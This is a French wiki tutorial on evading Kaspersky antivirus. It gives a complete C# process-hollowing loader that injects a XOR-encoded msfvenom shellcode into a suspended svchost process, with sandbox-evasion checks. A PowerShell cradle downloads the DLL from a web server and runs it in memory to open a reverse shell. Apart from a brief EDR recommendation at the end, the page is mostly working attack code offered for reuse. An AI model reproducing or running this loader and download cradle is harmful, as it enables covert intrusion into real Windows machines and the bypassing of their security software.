Wiki-Tech.io/Sécurité/Pentest/Process-Hollowing.md

12 KiB

title description published date tags editor dateCreated
Process Hollowing On mets Kaspersky en PLS true 2021-08-19T08:17:25.550Z sécurité, anti-virus, c#, powershell markdown 2021-08-18T09:52:51.760Z

REFLECTIVE LOAD & PROCESS HOLLOWING

En ce moment, pour ma future certification, je craft des malwares et j'apprends aussi à bypass les AV. J'ai donc décidé de mettre à l'épreuve mon AV : le fameux Kaspersky Anti-Virus.

Spoiler : c'est de la m****. Pour commencer, on va faire un peu de théorie.

LEXIQUE

METASPLOIT

Framework d'exploitation / intrusion d'un SI. Permet de générer des shellcodes/payloads. {.is-info}

SHELLCODE

Code malveillant détournant l'application de son fonctionnement d'origine, généralement écrit dans un language d'Assemblage {.is-info}

PAYLOAD

La commande malveillante qu'on veut exécuter sur la machine cible. Un simple listing de répertoire peut être considéré comme un payload. Parfois payload et shellcode sont confondus, car une fois l'application cible détournée, on peut de suite exécuter ce qu'on veut. {.is-info}

STAGED / NON STAGED

Dans metasploit, un staged payload est un payload découpé en plusieurs parties. Le code est chargé bout par bout, à l'inverse du non-staged qui est chargé en entier. {.is-info}

PROCESS HOLLOWING

Cette technique consiste à créer un processus, le mettre dans un état suspendu, remplacer le code dans son entrypoint par du code malveillant. Ici ça sera un payload/shellcode généré par metasploit. {.is-info}

REFLECTION

Charger du code managé (ici en C#) dans la mémoire pour appeler dynamiquement ses classes et méthodes. On peut donc charger du code C# pré-compilé et appeler ses fonctions (.exe, .dll etc... tant que c'est du C#/.NET). {.is-info}

KASPERSKY PWN PLAN

Maintenant qu'on sait tout ça, on attaque. Ce qu'on va faire :

  1. On va générer notre shellcode et on prépare l'écoute
  2. Créer une DLL qui, lors de l'appel, spawn un process svchost puis insère du code à son entrypoint. En plus, svchost est connu pour communiquer sur le réseau.
  3. Charger la DLL via powershell, sans rien écrire sur le disque.

C'EST PARTI

  • Premièrement, on va compiler notre assembly en x64 (Ici on va faire une DLL, mais ça aurait très bien pu être un exécutable classique).
//Allez voir le git de chvancooten pour voir les autres techniques et le code dans son ensemble.
using System;
using System.Runtime.InteropServices;
namespace Assembly
{
    public class Class1
    {
        public const uint CREATE_SUSPENDED = 0x4;
        public const int PROCESSBASICINFORMATION = 0;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
        public struct ProcessInfo
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public Int32 ProcessId;
            public Int32 ThreadId;
        }
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
        public struct StartupInfo
        {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
        [StructLayout(LayoutKind.Sequential)]
        internal struct ProcessBasicInfo
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }
        
				//On charge les api windaube
        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);
        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,
            int dwSize, out IntPtr lpNumberOfbytesRW);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern uint ResumeThread(IntPtr hThread);
        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
        [DllImport("kernel32.dll")]
        static extern IntPtr GetCurrentProcess();
        public static void runner ()
        {
            
            //Petit timer pour check si il y a un AV. Les AV accèlerent les wait, donc si le temps est différent, avant/après le wait, on quitte
            DateTime t1 = DateTime.Now;
            Sleep(2000);
            double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
            if (t2 < 1.5)
            {
                return;
            }
            
            //Les AV ne savent pas gérer les native API. Du coup souvent ça retourne une erreur. Si c'est le cas, on quitte
            IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
            if (mem == null)
            {
                return;
            }
            byte[] buf = new byte[585] {
            
            //shellcode généré avec msfvenom
            
 };
           
          
            //Ici les choses compliquées commencent, mais pour faire simple, on lance svchost dans un état suspendu, on trouve son entrypoint, on remplace par notre shellcode et on resume son exécution
            StartupInfo sInfo = new StartupInfo();
            ProcessInfo pInfo = new ProcessInfo();
            bool cResult = CreateProcess(null, "c:\\windows\\system32\\svchost.exe", IntPtr.Zero, IntPtr.Zero,
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);
            Console.WriteLine($"Started 'svchost.exe' in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.");
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();
            uint retLen = new uint();
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);
            Console.WriteLine($"Got process information and located PEB address of process at {"0x" + baseImageAddr.ToString("x")}. Success: {qResult == 0}.");
                     
            byte[] procAddr = new byte[0x8];
            byte[] dataBuf = new byte[0x200];
            IntPtr bytesRW = new IntPtr();
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);
            Console.WriteLine($"DEBUG: Executable base address: {"0x" + executableAddress.ToString("x")}.");
         
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);
            Console.WriteLine($"DEBUG: e_lfanew offset: {"0x" + e_lfanew.ToString("x")}.");
       
            uint rvaOffset = e_lfanew + 0x28;
            Console.WriteLine($"DEBUG: RVA offset: {"0x" + rvaOffset.ToString("x")}.");
          
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);
            Console.WriteLine($"DEBUG: RVA value: {"0x" + rva.ToString("x")}.");
           
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);
            Console.WriteLine($"Got executable entrypoint address: {"0x" + entrypointAddr.ToString("x")}.");
           
            //J'ai chiffré le shellcode avec du XOR, et je le déchiffre ici
            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)((uint)buf[i] ^ 0xea); 
            }
           
           
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);
            Console.WriteLine($"Overwrote entrypoint with payload. Success: {result}.");
         
            uint rResult = ResumeThread(pInfo.hThread);
            Console.WriteLine($"Triggered payload. Success: {rResult == 1}. Check your listener!");
        }
    }
}
  • Une fois compilé, on host ça sur un petit serveur web. Je l'ai nommé "Assembly".
  • On prépare metasploit pour l'écoute. On force le chiffrement des différents stages.
  • Avec PowerShell, on charge l'assembly en mémoire et on exécute la methode runner définie dans l'assembly.
#On charge la DLL depuis un emplacement web. Il va être stocké automatiquement dans un array de type byte
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.1.113/Assembly')
#On charge l'assembly depuis la mémoire
$assem = [System.Reflection.Assembly]::Load($data)
#On définit le namespace + classe
$class = $assem.GetType("Assembly.Class1")
#On définit la méthode runner
$method = $class.GetMethod("runner")
#On invoke la methode runner avec les arguments si nécessaire
$method.Invoke(0, $null)
  • Et hop ! On a un reverse shell. L'AV n'as rien vu venir. Je vous laisse admirer les screenshots.

On va s'ouvrir une grenadine parce que on est des H4xxXX00rrrs ! {.is-success}

metasploit.png posh.png

CONCLUSION

Faut "penser" à investir dans un EDR. Les AV ont tendance à être perdus quand il n'y a rien sur le disque. On aura plus de chance de voir les magouilles venant de la mémoire (Et les différents calls aux APIs Windows) avec un EDR qui se base sur le comportement et le machine learning. (Même si un coup de unhooking suffit) {.is-warning}

Le C# (.NET/PowerShell) c'est super puissant pour péter du Windows. {.is-warning}

Disk is lava ! {.is-danger}

SOURCES

A bientôt, Fat